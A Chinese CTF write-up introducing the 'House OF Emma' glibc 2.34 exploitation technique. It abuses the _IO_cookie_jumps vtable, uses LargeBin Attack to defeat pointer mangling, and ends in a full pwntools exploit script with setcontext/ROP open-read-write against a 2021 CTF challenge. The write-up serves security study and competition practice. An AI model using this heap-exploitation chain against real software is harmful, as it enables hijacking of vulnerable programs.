House OF Emma

House OF Emma

00 前言

在 2021 年 8 月 1 号发布的 GLIBC2.34 版本中,有两个在 CTF 的 Pwn 题中常用的 Hook —— __free_hook 、 __malloc_hook 被取消,同时在有些题目的限制中,我们无法构造出任意地址申请。

在新版中各种各样的限制使得我们要转变思想:从以往的任意地址申请构成任意读写从而 Getshell 来转变到,在某个地址写一个可控地址来 Getshell(借助于 IO_FILE)。很显然的是,后者的所需要的条件一定是少于前者的。

但是在新版本 glibc 下的 IO_FILE 攻击中,通常还是借助这两个 Hook 来辅助我们进行攻击,并不适用于 GLIBC 2.34 版本,因此我们急需发现一个类似于__free_hook 这样的函数指针调用,从而来削弱 Getshell 的限制条件。

本文就是围绕着我所发现的一条适用于 GLIBC 2.34 及以下所有版本的 IO File 调用链来展开。同时因为我在网络上没有找到其他人提出过这条调用链,所以我将其命名为 House OF Emma。

01 使用条件

1.可以任意写一个可控地址(LargeBin Attack、Tcache Stashing Unlink Attack…)

2.可以触发 IO 流(FSOP、House OF Kiwi

02 利用原理

2.1 寻找合法的 vtable

在 vtable 的合法范围内,存在一个 _IO_cookie_jumps

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
static const struct _IO_jump_t _IO_cookie_jumps libio_vtable = {
  JUMP_INIT_DUMMY,
  JUMP_INIT(finish, _IO_file_finish),
  JUMP_INIT(overflow, _IO_file_overflow),
  JUMP_INIT(underflow, _IO_file_underflow),
  JUMP_INIT(uflow, _IO_default_uflow),
  JUMP_INIT(pbackfail, _IO_default_pbackfail),
  JUMP_INIT(xsputn, _IO_file_xsputn),
  JUMP_INIT(xsgetn, _IO_default_xsgetn),
  JUMP_INIT(seekoff, _IO_cookie_seekoff),
  JUMP_INIT(seekpos, _IO_default_seekpos),
  JUMP_INIT(setbuf, _IO_file_setbuf),
  JUMP_INIT(sync, _IO_file_sync),
  JUMP_INIT(doallocate, _IO_file_doallocate),
  JUMP_INIT(read, _IO_cookie_read),
  JUMP_INIT(write, _IO_cookie_write),
  JUMP_INIT(seek, _IO_cookie_seek),
  JUMP_INIT(close, _IO_cookie_close),
  JUMP_INIT(stat, _IO_default_stat),
  JUMP_INIT(showmanyc, _IO_default_showmanyc),
  JUMP_INIT(imbue, _IO_default_imbue),
};

我们知道,在 vtable 的检测中对具体位置的检测是比较宽松的,这使得我们可以在一定的范围内对 vtable 表的起始位置进行偏移,使得我们在调用具体偏移是固定的情况下,可以通过偏移来调用到在 vtable 表中的任意函数,我们考虑指定为其中存在的如下几个函数。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
static ssize_t
_IO_cookie_read (FILE *fp, void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_read_function_t *read_cb = cfile->__io_functions.read;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (read_cb);
#endif

  if (read_cb == NULL)
    return -1;

  return read_cb (cfile->__cookie, buf, size);
}

static ssize_t
_IO_cookie_write (FILE *fp, const void *buf, ssize_t size)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_write_function_t *write_cb = cfile->__io_functions.write;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (write_cb);
#endif

  if (write_cb == NULL)
    {
      fp->_flags |= _IO_ERR_SEEN;
      return 0;
    }

  ssize_t n = write_cb (cfile->__cookie, buf, size);
  if (n < size)
    fp->_flags |= _IO_ERR_SEEN;

  return n;
}

static off64_t
_IO_cookie_seek (FILE *fp, off64_t offset, int dir)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_seek_function_t *seek_cb = cfile->__io_functions.seek;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (seek_cb);
#endif

  return ((seek_cb == NULL
	   || (seek_cb (cfile->__cookie, &offset, dir)
	       == -1)
	   || offset == (off64_t) -1)
	  ? _IO_pos_BAD : offset);
}

static int
_IO_cookie_close (FILE *fp)
{
  struct _IO_cookie_file *cfile = (struct _IO_cookie_file *) fp;
  cookie_close_function_t *close_cb = cfile->__io_functions.close;
#ifdef PTR_DEMANGLE
  PTR_DEMANGLE (close_cb);
#endif

  if (close_cb == NULL)
    return 0;

  return close_cb (cfile->__cookie);
}

这几个函数内存在任意函数指针调用,并且函数指针来源于_IO_cookie_file 结构体,这个结构体是 _IO_FILE_plus 的扩展,如果我们可以控制 IO 的内容,大概率这部分的数据也是可控的,并且其的第一个参数也是来源于这个结构。所以我们可以把其当做一个类似于 __free_hook 的 Hook 来利用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
/* Special file type for fopencookie function.  */
struct _IO_cookie_file
{
  struct _IO_FILE_plus __fp;
  void *__cookie;
  cookie_io_functions_t __io_functions;
};

typedef struct _IO_cookie_io_functions_t
{
  cookie_read_function_t *read;		/* Read bytes.  */
  cookie_write_function_t *write;	/* Write bytes.  */
  cookie_seek_function_t *seek;		/* Seek/tell file position.  */
  cookie_close_function_t *close;	/* Close file.  */
} cookie_io_functions_t;

2.2 绕过 PTR_DEMANGLE

在上面的分析中,我们暂时忽略了一个可能会存在的问题,也就是在上面代码中函数指针调用前所执行的 PTR_DEMANGLE (指针保护)选项是默认开启的,这意味着我们需要解决指针加密的问题。

1
2
3
4
extern uintptr_t __pointer_chk_guard attribute_relro;
#  define PTR_MANGLE(var) \
  (var) = (__typeof (var)) ((uintptr_t) (var) ^ __pointer_chk_guard)
#  define PTR_DEMANGLE(var) PTR_MANGLE (var)

根据 GLIBC Wiki 上的解释 Pointer Encryption,我们可以得知这个是 GLIBC 的一项安全功能,用于增加攻击者在 GLIBC 结构中操纵指针(尤其是函数指针)的难度。 同时,通过调试可以得知,这个值存在于 TLS 段上,将其 ROR 移位 0x11 后再与指针进行异或

图片

fs[0x30] 的值位于与 libc 相邻的 ld 空间中,这个位置距离 Libc 地址的偏移固定,虽然我们无法泄露出这个位置随机值的内容,但是我们可以利用很多方法对其进行写入

  1. Fastbin Reverse Into Tcache
  2. Tcache Stashing Unlink Attack
  3. LargeBin Attack

但无论使用什么方法,我们只需要让这个本来是随机的、不确定的异或值,转变为已知的地址即可。而通常在满足能够利用 IO File 的情况下,这个前置要求都能够被满足。

2.3 实操可能会遇到的一些问题

在实际操作中,可能因为 stderr 的指针存放在 bss 段上,从而导致无法篡改。只能使用 exit 来触发 FSOP,但是又会发现如果通过 exit 来触发 FSOP,会遇到在 exit 中也有调用指针保护的函数指针执行,但此时的异或内容被我们所篡改,使得无法执行正确的函数地址,且此位置在 FSOP 之前,从而导致程序没有进入 IO 流就发生了错误。

这种时候就可以考虑构造两个 IO_FILE,且后者指针处于前者的 _chains 处,前者用 GLIBC2.34 之前的 IO_FILE 攻击的思想在 __pointer_chk_guard 处写已知内容,后者再用 House OF Emma 来进行函数指针调用。

03 实战利用

这里以 2021 湖湘杯的 1 解题 House OF Emma 为例,这里的核心是使用 LargeBin Attack 来进行写入地址。

图片

3.1 题目保护

Checksec:保护全开

图片

开启了沙箱限制,不允许调用 execve

图片

3.2 题目分析

题目是一个 VM 类的题目,要求输入 opcode。这里 vm 指令的分析不是本题的重点,我们主要来看漏洞点和如何利用。

在 add 函数中限制了堆块 SIZE 要在 0x410 到 0x500 范围内

图片

在 delete 函数中释放后没有清空指针,可以造成 UAF

图片

3.3 利用思想

由于没有办法退出读入 opcode 的主循环,所以可以尝试用 House OF Kiwi 来触发 IO,同时因为此题使用了 puts 进行输出,所以也可以考虑劫持 stdout 指针,这里选择前者来讲解。

  1. 使用 LargeBin Attack 来在 stderr 指针处写一个可控地址
  2. 使用 LargeBin Attack 在__pointer_chk_guard 处写一个已知地址
  3. 通过写入的已知地址与需要调用的函数指针进行构造加密,同时构造出合理的 IO_FILE 结构。
  4. 利用 Unsorted Bin 会与 Top Chunk 合并的机制来修改 Top Chunk 的 Size,从而触发 House OF Kiwi 中的 IO 调用。
  5. 进入 House OF Emma 的调用链,同时寻找一个能够转移 rdi 到 rdx 的 gadget,利用这个 gadget 来为 Setcontext 提供内容。
  6. 利用 Setcontext 来执行 ROP 来 ORW

3.4 Exp

在 TLS 上的地址可能需要一些爆破来得到远程偏移,爆破的思路可以参考 通过 LIBC 基址来爆破 TLS

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
# sh = process('./pwn')
sh = remote('127.0.0.1', 9999)
libc = ELF('./lib/libc.so.6')
all_payload = ""


def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)


def add(idx, size):
    global all_payload
    payload = p8(0x1)
    payload += p8(idx)
    payload += p16(size)
    all_payload += payload


def show(idx):
    global all_payload
    payload = p8(0x3)
    payload += p8(idx)
    all_payload += payload


def delete(idx):
    global all_payload
    payload = p8(0x2)
    payload += p8(idx)
    all_payload += payload


def edit(idx, buf):
    global all_payload
    payload = p8(0x4)
    payload += p8(idx)
    payload += p16(len(buf))
    payload += str(buf)
    all_payload += payload


def run_opcode():
    global all_payload
    all_payload += p8(5)
    sh.sendafter("Pls input the opcode", all_payload)
    all_payload = ""


# leak libc_base
add(0, 0x410)
add(1, 0x410)
add(2, 0x420)
add(3, 0x410)
delete(2)
add(4, 0x430)
show(2)
run_opcode()

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1f30b0  # main_arena + 1104
log.success("libc_base:\t" + hex(libc_base))
libc.address = libc_base

guard = libc_base + 0x2035f0
pop_rdi_addr = libc_base + 0x2daa2
pop_rsi_addr = libc_base + 0x37c0a
pop_rax_addr = libc_base + 0x446c0
syscall_addr = libc_base + 0x883b6
gadget_addr = libc_base + 0x146020  # mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
setcontext_addr = libc_base + 0x50bc0

# leak heapbase
edit(2, "a" * 0x10)
show(2)
run_opcode()
sh.recvuntil("a" * 0x10)
heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0x2ae0
log.success("heap_base:\t" + hex(heap_base))

# largebin attack stderr
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(libc.sym['stderr'] - 0x20))
add(5, 0x430)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(0, 0x410)
add(2, 0x420)
run_opcode()

# largebin attack guard
delete(2)
add(6, 0x430)
delete(0)
edit(2, p64(libc_base + 0x1f30b0) * 2 + p64(heap_base + 0x2ae0) + p64(guard - 0x20))
add(7, 0x450)
edit(2, p64(heap_base + 0x22a0) + p64(libc_base + 0x1f30b0) + p64(heap_base + 0x22a0) * 2)
edit(0, p64(libc_base + 0x1f30b0) + p64(heap_base + 0x2ae0) * 3)
add(2, 0x420)
add(0, 0x410)

# change top chunk size
delete(7)
add(8, 0x430)
edit(7, 'a' * 0x438 + p64(0x300))
run_opcode()

next_chain = 0
srop_addr = heap_base + 0x2ae0 + 0x10
fake_IO_FILE = 2 * p64(0)
fake_IO_FILE += p64(0)  # _IO_write_base = 0
fake_IO_FILE += p64(0xffffffffffffffff)  # _IO_write_ptr = 0xffffffffffffffff
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(0)  # _IO_buf_base
fake_IO_FILE += p64(0)  # _IO_buf_end
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(next_chain)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base)  # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0)  # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc.sym['_IO_cookie_jumps'] + 0x40)  # vtable
fake_IO_FILE += p64(srop_addr)  # rdi
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(ROL(gadget_addr ^ (heap_base + 0x22a0), 0x11))

fake_frame_addr = srop_addr
frame = SigreturnFrame()
frame.rdi = fake_frame_addr + 0xF8
frame.rsi = 0
frame.rdx = 0x100
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi_addr + 1  # : ret

rop_data = [
    pop_rax_addr,  # sys_open('flag', 0)
    2,
    syscall_addr,
  
    pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
    0,
    pop_rdi_addr,
    3,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr,

    pop_rax_addr,  # sys_write(1, heap, 0x100)
    1,
    pop_rdi_addr,
    1,
    pop_rsi_addr,
    fake_frame_addr + 0x200,
    syscall_addr
]
payload = p64(0) + p64(fake_frame_addr) + '\x00' * 0x10 + p64(setcontext_addr + 61)
payload += str(frame).ljust(0xF8, '\x00')[0x28:] + 'flag'.ljust(0x10, '\x00') + flat(rop_data)

edit(0, fake_IO_FILE)
edit(2, payload)

add(8, 0x450)  # House OF Kiwi
# gdb.attach(sh, "b _IO_cookie_write")
run_opcode()
sh.interactive()

3.5 非预期

在赛后看到了一篇来自山石网科的文章,讲的是 glibc2.34 版本下的最新攻击技巧,那个方法利用的是在读入 opcode 时使用的 malloc 函数来申请 tcache 结构上的数据,从而构成任意地址申请与写。

但这实际上这并不是 House OF Emma 这题考察的本意,利用 House OF Emma 的攻击手法,可以在无需申请出堆块的情况下来控制程序流程,同时这种方法也只要求单次的 IO vtable 调用即可,这种调用的要求是非常低的。

04 总结

相对于之前版本的 IO_FILE 调用来说,需要各式各样的构造才能够满足触发控制程序流程,这个利用所需的条件明显更少,并且威力更大。而这样绕过指针保护的思想其实并不止这一处可以使用,只要有指针保护的位置,我们都可以用这个思想来绕过。

0%